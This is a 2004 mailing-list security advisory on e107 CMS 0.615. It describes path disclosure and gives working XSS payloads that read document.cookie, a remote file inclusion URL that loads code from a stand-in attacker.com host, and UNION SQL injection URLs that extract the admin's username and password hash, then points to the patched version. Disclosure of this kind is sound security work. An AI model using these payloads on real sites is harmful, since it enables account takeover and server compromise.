[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20040529194239.79435.qmail@web50408.mail.yahoo.com>
From: come2waraxe at yahoo.com (Janek Vind)
Subject: [waraxe-2004-SA#031 - Multiple vulnerabilities in e107 version 0.615]
{================================================================================}
{ [waraxe-2004-SA#031]
}
{================================================================================}
{
}
{ [ Multiple vulnerabilities in e107
version 0.615 ] }
{
}
{================================================================================}
Author: Janek Vind "waraxe"
Date: 29. May 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=31
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>From the official e107 Website - e107 is a portal /
content management system powered
by PHP and mySQL that gives you a totally dynamic and
professional website out of the box.
It's simple wizard type install process will have you
up and running in 5 minutes,
and best of all it's completely free.
Homepage: http://e107.org/
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
First of all, some conditions have to be met on victim
server, to be vulnerable:
1. "register_globals" must be "on"
2. mysql must be version 4.x with enabled UNION
functionality.
Now, let's discuss those security flaws:
A - Full Path Disclosure:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Many software developers, webmasters, admins and other
IT staff are underestimating
the full path disclosure as security bug. Anyway, this
information - full path to
script - must be kept in secret, when possible, or it
will be as little piece of the
puzzle amongst many other pieces, which finally will
lead to successful attack on the
website.
A1 - many scripts can be accessed directly and this
will provoke standard
php error messages, which leads to full path
disclosure. Examples:
http://localhost/e107_0615/e107_plugins/alt_news/alt_news.php
http://localhost/e107_0615/e107_plugins/backend_menu/backend_menu.php
http://localhost/e107_0615/e107_plugins/clock_menu/clock_menu.php
http://localhost/e107_0615/e107_plugins/counter_menu/counter_menu.php
http://localhost/e107_0615/e107_plugins/login_menu/login_menu.php
... and many-many more, needed to be fixed!
B - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Potential attacker can use xss to steal the cookies,
to read cross-domain forms,etc.
Finally it can lead to admin account compromise and
ovetakeing of the website.
B1 - xss in clock_menu.php through direct access of
the script:
http://localhost/e107_0615/e107_plugins/clock_menu/clock_menu.php?clock_flat=1&LAN_407=foo%22);
//--%3E%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
B2 - xss in feature called "email article to a
friend":
attacker must be logged off and will enter to
inputfield "logged name" this:
foobar'><body onload=alert(document.cookie);>
B3 - xss in feature called "submit news":
Attacker is logged off and will enter to inputfield
"logged name" this:
foobar'><body onload=alert(document.cookie);>
B4 - xss in "user settings":
attacker is logged on and makes POST request like
this:
http://localhost/e107_0615/usersettings.php?avmsg=[xss
code here]
C - Remote file inclusion:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Remote inclusion - this is VERY DANGEROUS security
hole. If php is configured
with "allow_url_fopen=on" and there is no firewall,
which blocks outbound connections,
then potential attacker can force VICTIM's php engine
to parse ATTACKER's php code!!
This can lead to shell-level server compromise (if
there are permissions to execute
system commands) with "nobody" or "apache" privileges.
Attacker can then try some
local r00t exploits and finally server is 0wned ;)
C1 - remote file inclusion in "secure_img_render.php"
script:
http://localhost/e107_0615/e107_handlers/secure_img_render.php?p=http://attacker.com/evil.php
Remark: "register_globals" must be "on" to be
successful in exploitining in this way.
D - Sql injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Through sql injection potential attacker can gather
from database any information he wants.
Including admin's username and password's md5 hash.
There are only 1...2 steps more to admin's
account overtakeing...
D1 - critical sql injection bug #1 in "content.php"
script:
http://localhost/e107_0615/content.php?content.99/**/UNION/**/SELECT/**/null,null,null,
CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,
null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*
D2 - critical sql injection bug #2 in "content.php"
script:
http://localhost/e107_0615/content.php?query=content_id=99%20UNION%20select%20null,
CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,
null,null,null,null,null,null%20FROM%20e107_user%20WHERE%20user_id=1/*
D3 - critical sql injection bug in "news.php" script:
http://localhost/e107_0615/news.php?list.99/**/UNION/**/SELECT/**/null,null,
CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,
null,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*
How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
First of all, i suggest to use newer version 0.616,
which seems to be patched
against above discussed bugs. And of course, you are
welcome to visit forum on my
homepage at http://www.waraxe.us/forum/ , where you
can find tutorial about manual fixes.
See ya there!
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to Raido Kerna and to
http://www.gamecheaters.us staff!
Special greets to icenix for helping me in bughunting!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@...oo.com
Janek Vind "waraxe"
Homepage: http://www.waraxe.us/
---------------------------------- [ EOF ]
------------------------------------
__________________________________
Do you Yahoo!?
Friends. Fun. Try the all-new Yahoo! Messenger.
http://messenger.yahoo.com/
Powered by blists - more mailing lists